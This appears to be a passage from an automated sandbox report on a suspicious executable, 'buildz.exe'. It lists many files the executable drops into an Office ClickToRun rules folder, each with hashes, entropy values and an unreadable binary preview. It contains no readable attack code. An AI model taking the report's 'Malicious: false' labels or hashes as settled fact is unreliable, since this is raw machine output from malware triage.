Preview:	.<?{....{A.-Dp.x..5/v0..1..V$.+..G...l..F.G..,....V..^....z0CY......Ba.. n.....~..%....t....F."y......W.=..y..A...[.3.6``-.h..8........T.._\.:%....%......~...q.5 ..IaH.1.!....4..\..........2."...D.\|.f".K.z..M<7.M.-.......c.a\|......Q.1...^ruk.x1...>....g<.U...&$cX.].PMR..y...i.o%Tr....@........^v.........k.v&.....]I.D..a...'.I..d...p.....u.c..o.........E.8....@.M......?wEI.0....d......r...,.../.....5....<h]%.I~.:R...;......2.].DJ.O....F..9..>7n...\|......~.......p.'W&F.N....H[..h..O.6.T._v.AU3.P...S..+.o.i....AQ.......pP.Y.....&w.k\|.(.b.........:DNC)...T);.....[Z.r .......E.C..^.;...u?].q......../20.P.!..c{.j.a8...N...W.....)".ZB4.....!.l..5.B.FB.;.g.<.......vt.r@.... .n.<....Z.w....[.....f..D.......{..U...T...A...@...:.O.W...q\O.L..m...........v..1$q;....YW8.V[i..^W.r.t.A......\....~.^K......X9\......s...(..".WqN..)X.........H.....=.`^S):...T].C.+4.....C.e.f......x..A..\|..C).m..G..=\|.o..Tg.9.af6.....+z.n.Q..-.....+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.887638374130343
Encrypted:	false
SSDEEP:	48:+e5PBUZ8uVz540LJVboRgScMImGbNKT7voZ5CimMnKvGdFvD:N5Bs9LQdcbhUToMM/l
MD5:	2B50F7FA34BEEE666B674A9BFC3DDE17
SHA1:	6BB7B8F15907129099BA14B08382BD5F33C489A2
SHA-256:	2EA8858C60F87D42A5605241966B5CE3BDD6A0BB917653F969A63492B460D17A
SHA-512:	F83D255633930C075B7C6C618E3D34014FA2BA3DBE37BCF9FBF178DD6A2F1613DABBCDCD3D4344BF9295F6D5D3D0132502C1DDD0F900822FAD040D3A270A3936
Malicious:	false
Reputation:	unknown
Preview:	.<?.$.j...w5.Y./R...!p .......r\|.+.v.....g...<<.I...@..5N.....'Sq."........I,..-V.]....+T.V.8.R....+...?.x.;}e.<:..KA..2......s..z...o..Z....d.P......b2WM.6(;.vV..D.oZ.. .....Qp(.0%.......b".W.=..o..EY..n@.N.4.f.E.N.o..i.9.Z..@.^.(.....&b...;.E....`.^.ff.....\|xR....$d4.. `94.Q...y...~...=y..(.fH(,.7.ZI..._.i.N........aJ..g......z.[..Y..j.Y0...p...^q.H~..>GT.@.BV8...TR9.ph..\.`.g............h.eP.}..Ss.=.'...?..i.>x....#.]..w..@....^x.1....sKhEpLl.&..^.u./.UL+ J@.f...<g.q>{I.....Z.W...n......\|[.1S......A..C.x........g.}........a.8`XP...15..U...0?....I......0.lO.m..Zh..O8^..^...].o..j.....\D><.D.....i.q.=...9{.@py1..$.XQLA...s..*4...Z....".al,...]........<.1.%.p.7....X...a..VVd...=z..3e..=.l-.Q...E.Y. '.<?.I....a......2.n..{F....)H\|,..j.2(.......R........v-5\|.7.Ya......t.....\|.....d.!lF...K.o..Q..l>.....5.3A....G.8+..?... ...?..0............)$....xF.F._w..%7........R%....E.V. .......]..w...,..k90.h..Z..bT.[{..#..1P....Of.36.4jK....@iiy

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.890852775178441
Encrypted:	false
SSDEEP:	48:l9af4KPFRskoEB5ZyZYbF4w73gzaFyA/yR+vfE3D:Q4r5c5Zy473vFywvfEz
MD5:	E76E84F152169EC05632A3E86B378242
SHA1:	E3C7760BA723B4507F1F6F38292086A5078CCE0A
SHA-256:	6A2E86C2FC8BE96A82F25673B523853499C5E3FD04FB6C6D64765BE07EED9235
SHA-512:	4B40AE3CB663250CB88B7BEB408563BC470E55A1A9E5D3D10B0E86FE2B83B120FDDF2A60C7AE25CD6D8387D4C7009EEEE74581920E08183F0949FF7432203E7A
Malicious:	false
Reputation:	unknown
Preview:	.<?.rw&x.m[".......-......5E..u..8.{....wl...C.6Q8...W..^8..x.q......o.....O..-..R(.....:.Mm..~J..0..?GFoy..FX.d..=....>.1}..$;.......{di"?.rt3....j"...[.5.....$.......Q .e..c?.~.y.bw....B.k..5wP@J<p.3..G.'....l9t....~..^N..........c.4.9.".\| I.k...J.<c..m.....e.HwZ.i..=.I...n.7..a...X..P/..)hI.K.J..`.....P. .<.(~C.^RjA...DBo..xu.^.\.-......s.q......R....;.._.2..H.......,..[..6...j>[....4Mc~'.P..bR56r..t.$.N.../.....S.&.l}9..)..J; h.;...1..DDKYw...Z.cV.m..[.!....~..)$Z.7 Rn.z.b.g.......~....;......Sw..%3:....`.6%.A........Wr.... k!%N.O..E..k.<...b....7.....;)$d..t.......;..7.....:.>-.Y?&pf.....g..n..ou..d.3.r.d..RK..i.._.Y..1....P.....i..$...C,..%.N....b".8D.M."7..]X".....'.k.-...D...k>t+{.I.......V.F$.%..9V....d0].b.k..-U.<.\..[..... ....c....S...:..I..0.z4mn..f..]d/1.'.I..v..g...n39T.../.......$0.$.......y$cS...A...a....^8-...7'../,.6.~%..0\qt."=C.t......'M.9...g.#1...v.hA...E...9..V?...6...._UR.:m..a. v[j.,.y.T'.!)..\..Kr...}3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.884334415733687
Encrypted:	false
SSDEEP:	48:8wQMoxuiCruxdgydQbFmXXnYbmi+qf1RjTguD:8wlKgydQJmnY6i+Y1ZTZ
MD5:	CC96FBEBB2447D9E69D029EA8A6B861C
SHA1:	A08937AB385D15184F9EA18028502138B5AA81F8
SHA-256:	17ACBF07A7DAD28CF56FFD592747947C5B8F1DF79A90FF753F0AD8DA54213862
SHA-512:	6A7DF92A3E63284E36EC572CD76C7A97236DA2AECD80E0DA674498A67155ADE590B1175D0A2B2BB27D29930E56C941AEC040E5D3260208FC37A1EBCD044D8488
Malicious:	false
Reputation:	unknown
Preview:	.<?S....&..Q.:...\|..).......r=Qs.e.......w..._B/a"....{'Xe.....+K(.Y\.E.5..h.2.^X......N...8.#.l.z..o.3.!kW.....=...>.M..Y.?...:Tw.2..iQ...'3....'1.rY.=.+o.g.R..;&.TT.I..y]..._..W../="......:...{...o........U.x..=\..N....?+.E.DZ...~.i.X........... ...j..)....R.!...TF...-D.:.dv...h`^...T..9.....6.....0.J......7....pQ..B.....&.....WZx...KvM....}..[..........`..._...N'....<.".k.o...W....r......Lt0...8.S.z..p......e........9em0...v..,Sf^on...F.J$......(.......gK...8u...O6....y..N.0..L\|;.&....N.H.0{..a...:.0O. ..[..T.;s87.....Dz~=^ ....2...cQdAT:O..j@..%..$4...E4....e'..IA..5......\..m.......+....9..n$p._g.MZ.........?.."...+..<i..Z.H...v..p.9\...@.z}....o..F5..=...y.`JvI....F...S/..$..q...2d*.p.....:.M..'.W9..iq..l.K.-D. ..w.i...+oj.c..r.=...>.g.9...6...p?.m.7....#.3.i.7.;s......._...p.i..\|...1v.P..5f.Z.+ ........tj.2.{..eZu....s....A.5...&.C.....H.vt....#..T......'.l.V:.3...Y..L.............-.....8....XH..L....<..N}#&.........N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.89246481174496
Encrypted:	false
SSDEEP:	24:QStQdL+VcP2BFCFPa00FEICaZsrN6j/8yb3YyZ2Qi9W/BoLe7J+r+nbVtM6vXuyX:LSsSPa00FQ3rQj7b3YM2QGwOL8g4t5D
MD5:	D82BBA016357F160FEBCAB19036F55F2
SHA1:	3DD522B150F9BE5E5DF61F9A9285E923F683407E
SHA-256:	AD1A9A94A7C934F037AD9779423A5CF93879C3B7BD45E2663917E124ADDBE9F4
SHA-512:	96B721382F4862A79C712CFBFF0055165F1404EC3759FB9AD0255DF216204BFC58C90BB7D2BB5A20A797A4AC2407C84ABFD45078541E383E761FEA6AC9384363
Malicious:	false
Reputation:	unknown
Preview:	.<?.d...B.m.mk....`%...G...F."NXafy...K...].....O.j.......ah....9bq...l[..h...r.4.}I..YD.W.....\|W..H.... .$.3..i.nT.Z......#...t...Q...?..>.....H.3C'..zw..6...Z)..$u..r.K...[H.t.7~&Y.Q....<..N..!..\|.o.8..JQ}<..M..g..Pa....S......`{y......a........!..O..me.S.<.HWS..N...9.M.........NZ...8......u.}..;.N.....@#.)`.Ud%..d..9........{'r...O/....?.=Ln..k.)E.c.....Z..cu^...X.F..a..N'.FK.T.#G5.......W.GR.TvC...\|...(....i.J....W=7s.%?.}u.i{Z.DN1.B.`.r.....B...e.t....<.`g........[@.6R..1...B.2..I.I..#..s.I....+...3..~E....-.t.tz.'x...\|.....z.0.u.g.E..Lb,..o..@g...F.N.z.A@U.^~..C.B.";.....2..u.0....jL..-.05r...)....z.w....Q...O.......`.J....<t.....R...;..T.....0....<?Zg..'.G.d.A......EJVi..~...>.]...~.....%.#\|...<.F...>..!.. .d........aD.P..4.C.............GT.%...)...........u/.Q.._...V....J.e..l..=".;./...<...^.s?.b..0..i...7EI4.&!=..`S../.k.Ke......#oQ..0-&....q...*.W.....q....g....}....<vw#.../.r...)9...%.W.....:(.k....5o8B.%.2X,.hi.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.870958537038294
Encrypted:	false
SSDEEP:	48:dZXbS1iLGzSaWOeo+97nJ02s4hOS1jneoOW50qHJxKPN2+D:zU8GzSPO1+9bLP1pJnCf
MD5:	65C24CB35E5C9855584B759060A39FDD
SHA1:	7B9144BB474E34C9C7C5F267C4388EF8800C52AF
SHA-256:	10C3B24EA1526533E0A6717F0DD2746B283C51960509DB46BBBE54A36104DFC8
SHA-512:	2874AD58439CFF7B3A00A8E8A0F578C47D0C2B62197C2F73A0303CB551AA97591C4F59216E043426FEB75A2D1EC8967ECE5AF0727F8C753F63BAEBFECAE415A9
Malicious:	false
Reputation:	unknown
Preview:	.<?.\|7....5X.....0...I..I}.Q."m..T/.))...q."l.YF.%.=z.b...s.?..e(..]....-..M.I....]....H\|.&.\|...%.u......1.ug....&.Z..OS;d/.>h.Vq06.C.O)...5.....B.(......YA....\.f....XU............nG...+....a.eqw,[...8...p......R.3._...!YzL.@.c..)z.x+...V!.j...t.x&Z}...].[..q.y.($R.....^..H...]..x........F....Y .....e!.).m.....8...<?5]...d.....x?.T....z../..~..H~..}..Z/5./.e.'.k..._rGIL..uO=.@0....7g..I...j.Xw..)..q...j.#........i......m.&.S7.--.[.O....."..........._..]..^.E....f?..v..r.Zp.........\|.].....#.Q..Lm..b)96.p....h.......g...t.........fO....p.....)....x.L........oo...C[:.m._..R.G.[...X&.x.af%..B.Me..:...+.-..W...?.....Q........[V.(.`<..L...b..K...;%.9.PL....z.\|j....;.....~...y.\|..jL........&i.. .].a....L........D...\|Cf...!.=..'.X.\|.[.....b.H6.\|zWj..4b.%..T...l..}..Sc&.V..qqSy..9.%g..s.X...B.~\|y.......q.s,.....~....z.^..w.....Lel./).S ..(.......h9....b.^........[....n...KYyl.\....M.y.T.....w.q{B..cB2._=F.)...@@.\O-...:i...T&.t..+"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1708
Entropy (8bit):	7.88695395341855
Encrypted:	false
SSDEEP:	48:3Lp4JxYOK8hx7XUKNyawbiR7dLUtEpH8uD:tQxYgb7bNJ1dLEEp1
MD5:	F858F3FD8D3367F4E5C4316F0D8B6C6B
SHA1:	57D352C5F40188D25E5FACCDA6C77D917B99F1A8
SHA-256:	AFFF9EBF35683D0163ECDCE91569845873BC52BC3A4E30182975A3647FA15ABF
SHA-512:	B2EE420C6214BBCB06D3C1DEB292CC6BFCBF6655D51BDB69B83013B6DD4C389B0DFC35C12099E9FE11B0D30D76DA6C5D4C8B3C60621DCC757B76DD2268DE5C5F
Malicious:	false
Reputation:	unknown
Preview:	.<?uD..I.WO..)..E....6.f.Q.6....}.3s.vEq...V...u....@.....a.Y.OQ...O.x_.......t..0r.+..o.6.....'.N;..O..4......Z.p..:.....2..&.i..{.4.J..M.D0..n-P...2t...M.LJ.K.X...[.$.7.U..?k....4.......1...g..`(...8....%.V.../..)..}......u.Xy4./....T..0~...s.TC...._./.....\I.........`g~t.....T....b...M..?).8.GA....t..^..]7.#.k/k....%..=.zg.DDm..R.G..D. ..S....c%.Vz..+.......\.w..Y.2...........9.t.sH........\|..H._E....6O&:.4.-0.......4.........(..s.V.....v...zoQn..........#....~$.D.}....W..j.O...w.4{....z..8...6y..N.S..6@..Lao...&D.h.,.9.xg]^...R.A....I......}.L....:.3.7..c%,...m....L..Eh.M[.VE...iA...+w-.WN.....b[X..c.5..,.ZH...rd..../...1..t..V....bF..No../>!g.j...m.w-Nbs..@C...d". ........m>[A.l{.-}......R.....9.(...8.J.!..yxY.N&./+.\|z...d\....jC.7,...x..uphQ...vX..T$.!.w....0......u.....\|.^.=,..8V.H+.." .D..5.....hJS../....tc.....Fn/e...`..r.......T.M.ci{..@7-.Gc..d...&X^!.qc....xI.S...m......\|o.!Ir.W.2Z.<.?....Ff.....C..;.../....1.7\|.n.O.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.898138108312388
Encrypted:	false
SSDEEP:	48:C8v6sMvSj4NXwtbU2+T+ruFnd5Q0qGczd8KD:Lv6sMvScNAtbY+ruFnqG+d8C
MD5:	D264963FCCC46F78039CAF1BF8F11273
SHA1:	6F854A59D435A5B0D03C986308CE89B7F9EC395E
SHA-256:	C284021CD306EB740BA26A2BE87CA288692693E3E38E1A59D0DB41D6154B9313
SHA-512:	5C9E27285CD7252DD9FE37E1091C2AB9D8E07740678C7918C68F452E1FF8038479111A2146D5EE1972327D152B4900157F6AB7C7B6598969D3064F8036104A07
Malicious:	false
Reputation:	unknown
Preview:	.<?.Eu.......C....8.Zm.qO....d..u.t.<...e..k.7+0...D~(.$......:j.(.N.7...~.!.p....x..v.........LIu.e..&"<.C........1e.].:.$..]B...(.....X.&H.}.ThU.@..)v!...$........E.A..;.n.S..k..x.A..!.;.H.2...[.X...l...`c.=0.iH..o...Yf(....I.$&./.%x....ns.......WhB..k.V....p._<}&.Cva..`....=.Z..M.j)K./h......E6...c?...=...J...........L/...eH..o./..A>...w...t.....K..oFt._8..d#....z.....NU:..I..Q.u.....52.{.L...%..o ...'......7v.."c.+H.k-}6...E.......e..m.LO..+'S.E....U.r.=.et.M ...'..... R.u. ....)0.....B..v9..1.u...T}. M2...>M...G"r..X+......R......l......K.F}+......{5.v#...H.{Bc..R..L..}.{O.D..q;..........:.J{%o.....xF.X..........B..$."Y..\|.2v......Y......? ...q.....g.......S...'..8.A...9S-4..9V...ZP...x.>.QU,H..!...9.:..lh...)s..,.N...>YD.....VDpH...;.....6.;..;.....q..V.......g.k.0........J.'G. ...qzA.I.F7.TFX..3I\.d.;.~.-..uu.\.M...f..^.C...8.bq..[....m.1./.Y..H.`ny.b..@.{...+2.Iu.?...2<.J!.Zs..*l..%.7W......}..d.?I6E.,....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.880429760541715
Encrypted:	false
SSDEEP:	24:3+nNyoGOz5JGvj3nh7Z5FH+QTd6RERAuUqzKPPRIu0wkiqKT8+nNZxI40EpOdlrf:kNyFOzw3tl+URAHhG2kiqKT9nVlIdzD
MD5:	37CEB8E60F4C35520DCED3052A4138D1
SHA1:	A806FE7A6864BC871CAFBD644B5F5E6D03F37234
SHA-256:	AE4D47EC76E25C606550AA86B0C6D6B11B5527B58C742EE4EC2A0579BEE2FDB5
SHA-512:	43E909F530E0C4F2E912161BE47C27EA1C8F6B45469ADF4FF76D1220D93F0AE7B30BA04210ACD9564256DCC04623CA79CC02BA88CE4E5564BB057D34147E06C7
Malicious:	false
Reputation:	unknown
Preview:	.<?.D...E.z...A0.Xti..o."..[...^..U;....<.Q..t$..]...8<..,.9...j..%.R..j..B......m~..]}..."F......7w.Z.5.j+_. b.....I......dhnb...c...f@...`=..R.....8.#......]...(......s......h..X>.....h_.C.9n....~.....1............a./W_.L......Y.F...(K.....v.H.6.I.{s.]...W4.s.YB.....n....Q.........z..G%C..J...N._\|...3....:.......U..O.p...+...~\|@XR..`.o..Ho...2..q[e......./.}j...>........4.w....~\..A.].s....F..^O.d.F8..@.g..m....)...a.......?@.8c.\|.Z.~;~2.Y+..?...]..g..RW..8vB.1.a..S.S.c..%E..Vm.#............].(.;....P..B...;]...)\:....+.@..._.....2...M......."...j`......!)......Jnr....QXC[..M..a..my;I....,.j.Uk..........p...HQ.....d....+.N#>q.......#...aN...e..\3w\|`2K...iK/Y(..#....,u.Nc.O.....N......X..<{.....A\..i"[.9...}.3'....5.U...W.=.#.........Hns....&..}-.S.Y]...9r.....1........<t..F..7.....~.....D...+.v.g...^..#B.l..CD..qW]..>G...b......v..%.....b.;.{...&R."H..8....I,A..B.G. ...R.&.W..}...+.Tp.bn%..IDJ....Hx}..._..zTT..Q..8".I.Lre).a.{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.874619649927059
Encrypted:	false
SSDEEP:	48:o/UsowIx897lKlRV3FXsjFooie1rbK4ixD:VwI697Yb3BsjFXiErI5
MD5:	A893AF219225B4EFE9BB48DC9A8C5218
SHA1:	1830751C1C0DB937AC38F3DB76A3751156BB470D
SHA-256:	E9AAEA2B215FF516EE883D2475D37734A09B229FF80A40231447ECA7007D2F5A
SHA-512:	89135A72D518F4D9235A978B7F60286A481EE8DF52C6CA9C4D5BFDCDE1503E872869C3962CF57398E57C7D64318B6BEE80AC02D441AEDD2FD3C5F54C1BF812D1
Malicious:	false
Reputation:	unknown
Preview:	.<?......l-....z.Y.!.$o..`.(.pR...%.& ..~.aMPF{.Gk....P..ub@/....=.H..X~.}9/N......PY........C0..:m....l..p........O...Z...j)#.G.O..h.j(9q.%8...y...{.]xB....{%d.jQ.E..(%...+.t.........D...Y.\...7..RJ...c<3..lX...D.M..:..A.....f....;....n[..e...Ua.F9.b..6^Elt_WEl.2'..q...."L....c..^..v.-.x...I.D..3.ss/s...!..q.kW..2NeS.B.......9...h~.wQa....&...B..R...j......ts.`x......dlUZ^X_7..Q]...A..Y..J.>........L.?<Q.Y.&..O.=.,~....:<q..IS[..{..kU......$F..2]..rr.{Z/.a.........`..9.F....O...OL..-.l.,.@5...x.....g.5..B...(.!Kk..../.Jh.<.u.UG..;Yk/yx....X...moH...p....1.K}.2...l`.. .O..X.lx.:.....;.n..{a......Q.}'.;N9..Yao...:K..b.R.z..D...1..ji.G.c~jB].n...B?...m.b.!..9 e.Z.+p.rB..SS-w.w....4.W..G....0...^.r...TcZ.../..}...."qLg.o...$S.xD...,v.Z+A.U.}veNf...Xa,.1dy.].s.N..(...f.e.T....q...fT.<.WRX.-...."M./...=..S....q..n..+......r.[...2.L..%epz".c.......j\......I.Q`j..m/U."...jmF6..2....jy.....AB.l..x........0*....R=.T.../.t..w..~...&.-Z.)$.)gO.a..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.880879190962946
Encrypted:	false
SSDEEP:	48:lygZkm97bPfFRzc6qbwQKpmFvnVyBntdD:lyUkm97DFRY6qbJ28yBj
MD5:	F0FF1BF5446E5B1768728D1F64AB1FBB
SHA1:	16B2AF6E486169AC7F8855E750ED0CB34032D7B4
SHA-256:	A3E7186FC6652067F582AC5C809B97E992180328EA7265C85963B9032230866A
SHA-512:	A07F032EEA0A81BC32EDA65B9D686BDE9C78C66F6EE5F97FC720B84336FDF2285E96ECDA819DBCE8CB03D15B38BE9232CB759835F36B77869D67841D7445CC26
Malicious:	false
Reputation:	unknown
Preview:	.<?...>..e...3G..g....+S#..n`.5.V.....nD.^.#......?.......=K!^..`......7..Q...<?I.j5........$........sfO>......Q..&.B..K6.^..hE...9 ..+I..A.e{.<l...Y....k.0z..W.o=R.),(. ...[......2....5..<.l+.Ua...k.I.G(1...(...K..4%.b.U ..%...@..."3....w.U..+&k0..Ic...t&4j.M.....E]lh..1.......^.......-.....7..i 7L.....fP}e-1<\|..1.+..........T!xs..?.....4(T.R._.wr......h3....".....H.....nZ.?..a.w..]B.8.'..J...7.&.l.l.t...t.0b.N."..Ha.......>..h.[.B......a/....F}.Ll-.d..7.......9..Hz....d.D..8(LeM.=`.7V....sG...j..d..KhS1..Y.9v..5.a...C.6...1'.......x..s..l...W fD.G(tQ....\.-.8..t...C.2s.C....L....\T..mVI...3g.....P....B.H....._.{..R......x....c.^.....77...........^.[..5.B./..8~.y.%\|U.SM2...L......u......Rm.g3.N.{.QYm....}.K.$\|.5...8Xsx.....bn....\|...?ti/...3/~.....`.j....T..l...-". ....'w....1L~Ul..f.."NK"WC..&4.1C7.^<S... ..mea..l:......;kl......CP..m{.Vn8.Z....M..?g..Zu..)..Nv&&....Q.....O.`.B..}54...m.n...h6m...S...T$i..`A..0.....SE.V..w;..?.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.886184019169832
Encrypted:	false
SSDEEP:	48:nuyqltJEz+OPN7QE8E3eRoXf3nRD/LOZTcu0c5WVD:n6lsz+ONkB5opLLQTci5Wt
MD5:	30D7E78D25C150DC2AAE1835FF646CAD
SHA1:	11CEE23C66250BD91F0E3548186BD4816A82D65E
SHA-256:	D1466F2BCE3FB9A10ECBE45772DBCC7446466C3C4033D03406E1960710D2F3DE
SHA-512:	33AC39AABF3F262FA344A0299445EA4DCDBFE0CB65997B5924EC1C01EC1B6F455F39D22F431BA37617827FFBABFD783403A442391D7BE1F5017C144B1863F149
Malicious:	false
Reputation:	unknown
Preview:	.<?. .1..<....,........,s.D..........m.h.w..=.+w......^7?.........b.r3...9F.}.<q....+7..N..,..\|] ....@.......P,E.`..V%..,.R..t.2.SGF.vT...Q.I.V..v7oU.'.....Y<....S=.y.\{.u.%..g..W!.................]^B.Mrd....q...,...4j2...c.J.8...]A.a.].... p}...![%....).x.W.D.>I].a\:o....Nf....`.91./,...Kl.\|G...y...{.IZf..[..._..^.fC7D.(.c.M..R.nK.z.~+~.E..[.hp)Z.~....#H..."."5S...d..vK..; /.b....\. Z...@......b3..W.....H..P..........O.$.^.....Lve.o...{....E.w....%3(rIof@\LL.+%..8....!.;........=._..\.<d\|......TUD.fXK.....z.I.~Wd!._]-!....z.@..C.......u{)#...Z...8.9..G.-....g.e.....e#..(9J.z.S)6...I...of!/c,..:Y2-...x.:Ef..Z.U......~..}..b....)`.F.l7'....(....)..c.T\|O...R..f.)...d.`k.T...D....f.$......~.08j...#.[......brW.bG...c.?.p:.u..S.6.u..?.;M...W]....C%....v5.....8../s~...&...S.......N..+...T...{W..Q...mV.y.aU.r..".=....'...Zk.}.....<'.i..s(.7...=.W..uGL.B2..e..?..H.iEx.s#...:.n;}...?..... W.{....B...A.<Sl.m..lR../..a.......e ;.a...b..3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1725
Entropy (8bit):	7.8712823679598545
Encrypted:	false
SSDEEP:	48:goFkcLNxlrRJ/dup3Zb4YN13J6jvphSh83+D:goFkcLNbdupOYNhJ6jvphS/
MD5:	B34E702090D2B85CB1F2849FD292BEFD
SHA1:	08C078DDA6C5EA3E4D466FEFA2E5A4308E93F751
SHA-256:	18428CDCE02E38C7DBE8057223B33273E1CD2B33C3CA13BAC35D7EED8089B44F
SHA-512:	8D71F2A960FDF091D730A83712F3F040E0791DF1D5ECD9E986FD512E93EEA23078EBE27B7A2E859A1106E492729A524882D414F450C95D26A61DAE1B7DA2C62E
Malicious:	false
Reputation:	unknown
Preview:	.<?.......C..!.{..I.....4..c.8.....{)P+..QY.%.8....`.8.../..)........CzQ.../..R.Q.-.d"=N.L..._..N9a.4....g .X.y..2.v'..@"...4..Y.~.H.ZH.%.g.~...Hu.?p{.....N.<.0..H;....e,x..z.......q..j.r.z..5VL...Y..[.U.\|9)9.....h..ffh......#.q...a\.D..X\|j......>.J2w..M#..[.........A...1.ov..L/......].?b3....(=.$..>....m_....{...@.'.Q....z>j.........$.^.M..(.2...W..G....._..R..<.h........,8.}.!.}.R.\|.....{J.y.Va.WC...Q..2...T..o'6..<{....O..e..p)eO..<..\.fK.a....2i.,...c....Yw...1zF..C#.wS..d..w.k.....s.n[...M...X........:&..%.~....b.9..3.6....5.._.....e.....?.........U#s..5.....-R...uR%.5..W.L..Z....].5g.q.w..B..9.f.,Z.W.\|,7..R.L.M..G..)h..w..U..h.Z..=^.Z...{..l...f.....I.q.....+.........@.0..n..&}..t..%.k.R...J.-.g.;.H%`.=...n..b.S.....8N/...P..F...f..H.&...`...s.....LL-n^D.8.[..G.?;\}..l.N.m.Y...a:c.....\|.-.F.-....d..V&./......].....X.a..U...r7.jcv.IH_.i..s.J..S.#`..2..pda....ksu...\.p.....<.....p'I3.H.5$.W,..f..{.....5)P..{........$wW?

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1762
Entropy (8bit):	7.88859822689574
Encrypted:	false
SSDEEP:	24:xjq8wcwSzvNH2Qu0QPDkZeXKo0m/EFe+pydOZaP41KGkTv4LQWji3oRTzqp+7tzs:poSJHS0jZsMc+wdOZd1KpvPSb6NtYNQD
MD5:	206CD9043E1FEEE5BB5E2D9B5AF6BA56
SHA1:	E77ACD4E4ED1C49B91584D8A5E448185AACC9E56
SHA-256:	0783F07E91CF99A35634C35CF2799A57DD1B1DE207AB03F1FB15B38ED24105C0
SHA-512:	C6C8335959B776743B17AE3F7BE61681EEFBF1D2924D77BA5EEA0028A6A27C1CAE1DC5EC859E0758D94BF52069506E91D4217340D72EB4ADCF67E6EDB2A7AF15
Malicious:	false
Reputation:	unknown
Preview:	.<?w.p.=..k...\../o....&J.X...q......(.i.Kh.Wm"..NM..^o...&.......uX.+q..}!....]T.h.....FQ....v.@.'l.....`....5......z....;.=k.>...T.{P....<...H5..;.o{.$...4.....5..N......Yt..U\.o-.:..~.&[.Wa.4....aN.l.LE..@..6....X....Q..BC.f....b...N...t...Y_CL.........`..N...0?....oZm. ..7.\L,3t.s3.l..H.....[..Z.....N....T.s......<...7.v.W...P[."...{re..2.-.!..D......5..3.KV......Q...6....x9LYf.T........ur.{Z..m..Tz.Xc.gF..^N.;q)....Y...{.....v..$z4..1........n}.9..S..d.]....8.{......G..m.....i.....Dbc....X.B...w..Sl..B.....m3.J\|.2...>..n..F;L..pP.?BU...9&.B.7..Z..h..J.&..l.B.8!.q...Rh.Vr..s.1:....}:.....$!.s.........g.....U..Y.......$8h................?...w+.m...1>.....:.....~.x..S.@.bV..A...#.a...M..\\|..SO...Q^I.1T,.....V2.b5.c..9..\|C..q..Q.1O....S/ .9x.#q..K.........{\|.p.a.....-..B..k..qZx.....*..._m..D.....I...uE.,..K.h\|."$.x.r..?...`.g...1pC..{1c.h.e........On...... ....w......l...;..alK.BIw..b...........[...m.x.H\|..w+.+QAp#.7......4..EF\|5.sl.Vm.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.879132794626088
Encrypted:	false
SSDEEP:	24:vJues6Df3PtZI2FxuCWKgoSRiREwWiigqz8ge6QOF1d7sO4BMpGl7Hnf7CQ4bD:v5H9TrNWKSSEwWiuVQq1nXpGZHf73iD
MD5:	96039C72988A0B39678B3FF7C62FDB49
SHA1:	A5DF98F6126A97759076E27926A2AB33D79DAFD2
SHA-256:	A5686C70A61CB4470348E13FBBF182E45012F181F729E292431D7E69D17466DC
SHA-512:	0D15D14238018E79F0B1155CB4D8746727EE1A46787F85F93D0B23D2F893A1F81F642D74763227DCA6F67F1B6567614DC5F25B517CA87E26AC65F65512C1BDF7
Malicious:	false
Reputation:	unknown
